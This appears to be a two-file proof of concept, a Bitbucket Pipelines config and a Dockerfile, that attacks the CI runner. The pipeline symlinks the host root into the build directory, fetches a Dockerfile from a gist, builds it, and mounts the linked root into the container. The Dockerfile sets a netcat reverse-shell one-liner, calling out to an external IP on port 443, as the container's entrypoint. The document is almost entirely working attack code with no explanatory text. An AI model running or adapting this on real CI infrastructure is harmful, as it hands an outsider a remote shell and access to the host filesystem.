bitbucket-pipelines.yml

image:
  name: atlassian/default-image:latest

pipelines:
  default:
    - step:
            script:
              - ln -s / $BITBUCKET_CLONE_DIR/ln
              - curl -oDockerfile https://gist.github.com/staaldraad/b805639cf44363692f13493f651c5689/raw/f8f65876cd464611ad0f7d365a9cf36a950fde36/Dockerfile
              - docker build . -t xyz
              - docker run -i --rm -v $BITBUCKET_CLONE_DIR/ln/:/ln xyz:latest
            services:
              - docker
            caches:
              - docker

Dockerfile

FROM docker

RUN apk update
RUN echo "mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 139.59.42.102 443 >/tmp/f" > /pew.sh
RUN chmod +x /pew.sh
ENTRYPOINT /pew.sh